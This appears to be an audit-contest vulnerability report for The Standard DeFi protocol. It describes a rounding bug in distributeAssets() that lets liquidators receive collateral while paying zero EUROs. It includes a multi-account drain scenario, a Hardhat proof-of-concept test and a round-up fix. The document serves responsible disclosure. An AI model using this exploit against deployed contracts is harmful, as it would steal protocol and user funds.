The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: low
Valid

Liquidation rewards can be gained without paying any EUROs

Summary & Vulnerability Details

distributeAssets() calculates _portion and then the costInEuros, which is the amount in EUROs the liquidator has to pay in exchange for the rewards or the collateral he helped liquidate. There are 2 issues with the following line of code which allows a liquidator to get 1 wei of collateral by paying 0 EUROs:

uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;

The complete function is as below:

LiquidationPool.sol#L219-L221

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
@-------------------> uint256 _portion = asset.amount * _positionStake / stakeTotal;
@-------------------> uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}

Issue-1:

Division before multiplication causes precision loss and hence liquidator can get away with paying nothing & still receive reward. Here's an example:

  • Let's consider ARB token which is officially supported by the protocol as an acceptable collateral. It has 18 decimal places.

  • It's Chainlink price feed puts the price at around (1 ARB = 1.9165 USD)

  • Let's suppose _portion to be equal to .

  • Chainlink price for EUR/USD pair has been taken in the tests as (1 EUR = 1.06 USD), so let's stick with that.

  • Then, costInEuros will be calculated by the protocol on L220 as:
    $$
    \begin{equation}
    \begin{split} costInEuros &= _portion * {10} ^ {(18 - asset.token.dec)} * uint256(assetPriceUsd) / uint256(priceEurUsd) * _hundredPC / _collateralRate \
    &= 1 * {10} ^ {(18 - 18)} * 191650000 / 106000000 * 100000 / 120000 \
    &= 191650000 / 106000000 * 100000 / 120000 \
    &= 1 * 100000 / 120000 \
    &= 100000 / 120000 \
    &= 0
    \end{split}
    \end{equation}
    $$

One would imagine that doing all the multiplications before divisions would be a good fix. Let's check that:
$$
\begin{equation}
\begin{split} costInEuros &= _portion * {10} ^ {(18 - asset.token.dec)} * uint256(assetPriceUsd) * _hundredPC / (uint256(priceEurUsd) * _collateralRate) \
&= 1 * {10} ^ {(18 - 18)} * 191650000 * 100000 / (106000000 * 120000) \
&= 191650000 * 100000 / (106000000 * 120000) \
&= 19165000000000 / 12720000000000 \
&= 1
\end{split}
\end{equation}
$$

However, this is still incomplete and brings us to the issue:

Issue-2:

  • Imagine a price fluctuation such that 1 ARB < 1 EUR. This could easily happen in the above scenario with EUR/USD moving up, or ARB/USD moving down. Or, you can suppose an altogether different token which has price less than that of EUR. Then, due to costInEuros being rounded down instead of being rounded up, liquidator will get the reward for free.

  • Let's say 1 ARB = 1.059 USD or . Then -
    $$
    \begin{equation}
    \begin{split} costInEuros &= _portion * {10} ^ {(18 - asset.token.dec)} * uint256(assetPriceUsd) * _hundredPC / (uint256(priceEurUsd) * _collateralRate) \
    &= 1 * {10} ^ {(18 - 18)} * 105900000 * 100000 / (106000000 * 120000) \
    &= 105900000 * 100000 / (106000000 * 120000) \
    &= 10590000000000 / 12720000000000 \
    &= 0
    \end{split}
    \end{equation}
    $$

Hence the above should have been rounded up by using an external library like solmate which has the function mulDivUp or use custom logic as mentioned in the recommendation section below.



NOTE that the above vulnerability can be used to get free rewards of more than by mounting an attack vector which uses multiple accounts causing _portion to calculate as 1. Consider the following scenario showcasing an attack scenario which will drain all ARB collateral while paying nothing:

  • Malicious liquidator stakes TST & EUROs from 100 different accounts, each account staking .

  • ARB collateral to be liquidated

  • For each account (holder), _portion calculated as which is credited to the account holder.

  • Combined rewards from all accounts = , with EUROs paid.

PoC

Use the following patch to add the test to test/liquidationPoolManager.js and run via npx hardhat test --grep 'free liquidation gain' to see it pass.

In this test since there is only 1 holder, and ARB collateral to be liquated is 1, _portion will calculate to 1 just as in the above examples and result in "free liquidation":

diff --git a/test/liquidationPoolManager.js b/test/liquidationPoolManager_2.js
index 7e0f5c2..5b05cf9 100644
--- a/test/liquidationPoolManager.js
+++ b/test/liquidationPoolManager_2.js
@@ -160,6 +160,37 @@ describe('LiquidationPoolManager', async () => {
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).to.be.revertedWith('vault-not-undercollateralised');
});
+ it('free liquidation gain', async () => {
+ ARB = await ERC20MockFactory.deploy('Arbitrum', 'ARB', 18)
+ const ArbUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('ARB/USD');
+ await ArbUsd.setPrice(191650000);
+ await TokenManager.addAcceptedToken(ARB.address, ArbUsd.address);
+
+ const arbCollateral = 1;
+
+ // create some funds to be "liquidated"
+ await ARB.mint(SmartVaultManager.address, arbCollateral);
+
+ const tstStake1 = ethers.utils.parseEther('1000');
+ const initialEURObalance = ethers.utils.parseEther('2000');
+ const eurosStake1 = initialEURObalance;
+ await TST.mint(holder1.address, tstStake1);
+ await EUROs.mint(holder1.address, eurosStake1);
+ await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
+ await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
+ await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
+ let { _rewards, _position } = await LiquidationPool.position(holder1.address);
+ expect(_position.EUROs).to.equal(eurosStake1);
+
+ await fastForward(DAY);
+ await LiquidationPoolManager.runLiquidation(TOKEN_ID);
+ expect(await ARB.balanceOf(LiquidationPool.address)).to.equal(arbCollateral);
+
+ ({ _rewards, _position } = await LiquidationPool.position(holder1.address));
+ expect(_position.EUROs).to.equal(initialEURObalance); // @audit-info : no EUROs paid by liquidator
+ expect(rewardAmountForAsset(_rewards, 'ARB')).to.equal(arbCollateral); // @audit-info : received the collateral
+ });
+
it('distributes liquidated assets among stake holders if there is enough EUROs to purchase', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);

Impact

  • Liquidator gaining rewards while paying no EUROs; fund loss to the protocol.

Tools Used

Hardhat

Recommendations

Round up costInEuros by using an external library like solmate which has the function mulDivUp or use custom logic as mentioned below:

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
- uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
- * _hundredPC / _collateralRate;
+ uint256 costInEuros = (_portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) * _hundredPC) / (uint256(priceEurUsd) * _collateralRate); // @audit : multiply before dividing
+ if (costInEuros * uint256(priceEurUsd) * _collateralRate < _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) * _hundredPC) costInEuros++; // @audit : round-up
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

precision

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.